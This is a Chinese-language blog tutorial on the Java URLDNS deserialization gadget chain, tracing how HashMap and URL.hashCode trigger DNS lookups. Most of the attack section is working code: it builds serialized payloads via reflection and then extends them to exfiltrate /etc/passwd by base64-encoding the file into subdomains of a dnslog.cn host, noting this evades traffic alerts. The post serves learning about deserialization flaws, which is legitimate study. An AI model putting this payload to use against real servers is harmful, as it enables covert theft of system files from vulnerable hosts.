首页 > 编程语言 >java-URLDNS 链条审计

java-URLDNS 链条审计

时间:2024-09-03 20:25:32浏览次数:8  
标签:java url hashCode URL URLDNS new 链条 序列化 public

java-URLDNS 链条审计

URLDNS 链条,是我们学习 java 反序列化的启蒙链条,通过 java 内置的类函数调用,达到 DNS 外带数据的目的。

首先让我们来看一个小实验

从 dnslog.cn 平台获取一个域名

public class urlDNS {
    public void URL() throws UnknownHostException {
        InetAddress address = InetAddress.getByName("1112222221.aro9b9.dnslog.cn");
        System.out.println(address.getHostName());

    }

    public static void main(String[] args) throws UnknownHostException {
        urlDNS  url = new urlDNS();
        url.URL();
    }
}

image-20240903190455668

可以看到,我们在前边定义的字符串会被正常外带出来

1)hashmap

hashmap 可以说是 java 反序列化梦开始的地方,可以通过反射,put 等操作,给它赋值。而他默认也实现了 Serializable 接口,也有 readObject()方法。就是反序列化的入口。好多反序列化漏洞都是基于 hashmap 的接口调用利用的。

运行一下这段代码

public class urlDNS {
    public void URLtest() throws Exception {
        URL url = new URL("http://1122334455.xq8dz5.dnslog.cn");
        Map<URL,String> map = new HashMap<>();
        map.put(url,"1111");
    }

    public static void main(String[] args) throws Exception {
        urlDNS  url = new urlDNS();
        url.URLtest();
    }
}

image-20240903192106126

我们在上述代码中并没有进行域名的访问,我们的操作只不过是创建了一个 UR 对象,并把这个对象添加到了 hashmap 中,怎么会有 dnslog 的信息带出来呢?

让我们看一看这段代码具体干了什么

hashmap 的 put()方法 ==> hashmap 的 hash() == > URL 的 hashCode() ==> URLStreamHandler 的 hashCode()

==> URLStreamHandler 的 getHostAddress() 最终自动完成域名的解析

打个断点,一步一步跟进一下,就会明白这个链条

2)反序列化

构造 URLDNS 的序列化文件

public void serialize() throws Exception{
        URL url = new URL("http://111122223333355555567.jlxmu8.dnslog.cn");
        Map<URL,String> map = new HashMap<URL,String>();
        Class clazz = Class.forName("java.net.URL");
        Field hashCode = clazz.getDeclaredField("hashCode");
        hashCode.setAccessible(true);
        hashCode.set(url,22);
        map.put(url,"111");
        hashCode.set(url,-1);


        FileOutputStream fos = new FileOutputStream("src/main/upload/dnslog.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(map);
        oos.close();
        fos.close();
    }

这个方法就是序列化一个 URLDNS 的利用链条,当目标主机对我们上传的 ser 文件,进行反序列化时,就会触发 hashmap 里的链条,导致攻击者可以读取服务器数据

因为要对 URL 里的 hashCode 字段赋值为-1 才能满足调用要求,我们利用了 java 的反射机制对其私有变量强制赋值为-1

目标机器上只要有反序列化的方法可以让我们注入成功,就可以读取目标主机的信息了

public void unseri() throws Exception{
        FileInputStream fis = new FileInputStream("src/main/upload/dnslog.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
        fis.close();
        ois.close();
    }

生成完序列化的 ser 文件,只需要执行反序列画这个方法,目标就会自动去调用我们已经构造好的 DNS 链条,实现数据外带

public static void main(String[] args) throws Exception{
        urlDNS urlDns = new urlDNS();
        // urlDns.serialize();
        urlDns.unseri();
 }

image-20240903200402651

3) 读取/etc/passwd

有了上边的基础,我们只需要把前面的字符串换成/etc/passwd 读取的变量是不是就可以读取出来了。

public void seriaPasswd() throws Exception{
    FileInputStream fis = new FileInputStream("src/main/upload/passwd");
    byte[] byteArray = new byte[fis.available()];
    fis.read(byteArray);
    String s = Base64.getEncoder().encodeToString(byteArray);
    System.out.println(s.length());
    int counts = s.length()/60;
    int tail = s.length()%60;
    List<Map> list = new ArrayList<>();
    for (int i = 0; i < counts; i++) {
        String substring = s.substring(i*60, 60*(i+1));
        // System.out.println(substring);
        URL url = new URL("http://"+ substring +".2xpfvy.dnslog.cn");
        Map<URL,String> map = new HashMap<>();
        map.put(url,"111");


        Class clazz = Class.forName("java.net.URL");
        Field hashCode = clazz.getDeclaredField("hashCode");
        hashCode.setAccessible(true);
        hashCode.set(url,-1);
        list.add(map);
    }
    System.out.println(Arrays.toString(new List[]{list}));
    FileOutputStream fos = new FileOutputStream("src/main/upload/pass.ser");
    ObjectOutputStream oos = new ObjectOutputStream(fos);
    oos.writeObject(list);

}

由于域名不支持一些特殊字符,我们传递过程中可以进行 base64 加密,一方面可以保证我们拿到信息的完整性,另一方面,加密字符串不那么容易触发一些流量设备的告警,提高数据读取的隐蔽性。

为了演示方便,我把/etc/passwd 复制到了本地,

public void unseriaPasswd() throws Exception{
    FileInputStream fis = new FileInputStream("src/main/upload/pass.ser");
    ObjectInputStream ois = new ObjectInputStream(fis);
    ois.readObject();
}
public static void main(String[] args) throws Exception{
    urlDNS urlDns = new urlDNS();
    // urlDns.seriaPasswd();
    urlDns.unseriaPasswd();
}

image-20240903202038509

看到成功带出来 passwd 的内容,后边就是去处理用 base64 解密

基本原理就是这样。

标签:java,url,hashCode,URL,URLDNS,new,链条,序列化,public
From: https://www.cnblogs.com/LINGX5/p/18395399

相关文章

  • 基于Java的小区物业管理系统设计与实现(11183)
     有需要的同学,源代码和配套文档领取,加文章最下方的名片哦一、项目演示项目演示视频二、资料介绍完整源代码(前后端源代码+SQL脚本)配套文档(LW+PPT+开题报告)远程调试控屏包运行三、技术介绍Java语言SSM框架SpringBoot框架Vue框架JSP页面Mysql数据库IDEA/Eclipse开发四、项......
  • (D卷,100分)- 堆栈中的剩余数字(Java & JS & Python&C&C++)
    题目描述向一个空栈中依次存入正整数,假设入栈元素n(1<=n<=2^31-1)按顺序依次为nx…n4、n3、n2、n1,每当元素入栈时,如果n1=n2+…+ny(y的范围[2,x],1<=x<=1000),则n1~ny全部元素出栈,重新入栈新元素m(m=2*n1)。如:依次向栈存入6、1、2、3,当存入6、1、2时,栈底......
  • 【Java学习】Map集合&Stream流
    一、Collections1、可变参数定义:是一种特殊形参,定义在方法、构造器的形参列表里,定义格式是:方法名(数据类型... 形参名称){ }可变参数的特点和好处特点:可以不传数据给它;可以传一个或者同时传多个数据给它;也可以传一个数组给它;好处:常常用来灵活的接收数据。注意事项可......
  • Java基础语法之数据类型
    概念位(bit):计算机内部存储的最小单位,11001100是一个八位二进制数字节(byte):计算机中数据处理的基本单位,习惯上用大写B来表示1B(byte,字节)=8bit(位)字符:是指计算机中使用的字母、数字、字和符号1bit表示1位1Byte表示一个字节1B=8b1024B=1KB1024KB=1M1024M=1G......
  • Java 入门指南:Java 并发编程 —— 并发容器 ConcurrentSkipListMap
    ConcurrentMapConcurrentMap是Java并发包中提供的一个接口,它继承了java.util.Map接口,专门用于支持高并发环境下的线程安全操作。ConcurrentMap提供了一系列线程安全的方法,旨在解决在多线程环境下使用普通Map类型(如HashMap)时可能出现的竞态条件和数据不一致问题。......
  • Java入门第一课
    如何下载使用Eclipse?首先进入Eclipse官网ThankYouforDownloadingEclipse|TheEclipseFoundation下载符合自己电脑系统的版本,选择所在地区的镜像进行下载,否则可能会比较慢。下载完成之后应该是一个exe文件,直接打开进行下载选择第一个,选择好安装路径就可以点击install......
  • 网站创建代办事项列表JavaScript
    一、明确需求我希望创建一个web,包含一个表单,能够实现添加任务、完成任务、删除任务等功能,网站具有背景图,通过按钮来进行交互。二、创建文件我们需要一个HTML文件、一个CSS样式文件和一个JS文件。三、开始制作要创建一个待办事项列表网页,首先需要确定网页的主题和目的。......
  • java实现的开源mocker造数神器,10分钟可完成千万级别数据的造数-入门篇
    java实现的开源mocker造数神器,10分钟可完成千万级别数据的造数-入门篇如果你还在为数据库表造数烦恼?如果你还在造数上花费一天、一周、甚至更多的时间……也许Mocker(模客)能帮你排忧解难。造数是一件令人头疼、繁琐而又无趣的事情,但有些时候它又是开发过程中不可避免的一个阶段......
  • 【课程设计/毕业设计】基于Java+Springboot+Vue开发的旅游景区管理系统
    项目简介该项目是基于Java+Springboot+Vue开发的旅游景区管理系统(前后端分离),这是一项为大学生课程设计作业而开发的项目。该系统旨在帮助大学生学习并掌握Java编程技能,同时锻炼他们的项目设计与开发能力。通过学习基于Java的旅游景区管理系统项目,大学生可以在实践中学习和提升自己......
  • 【课程设计/毕业设计】基于Java+Springboot+Vue开发的鲜花商城管理系统
    项目简介该项目是基于Java+Springboot+Vue开发的鲜花商城管理系统(前后端分离),这是一项为大学生课程设计作业而开发的项目。该系统旨在帮助大学生学习并掌握Java编程技能,同时锻炼他们的项目设计与开发能力。通过学习基于Java的鲜花商城管理系统项目,大学生可以在实践中学习和提升自己......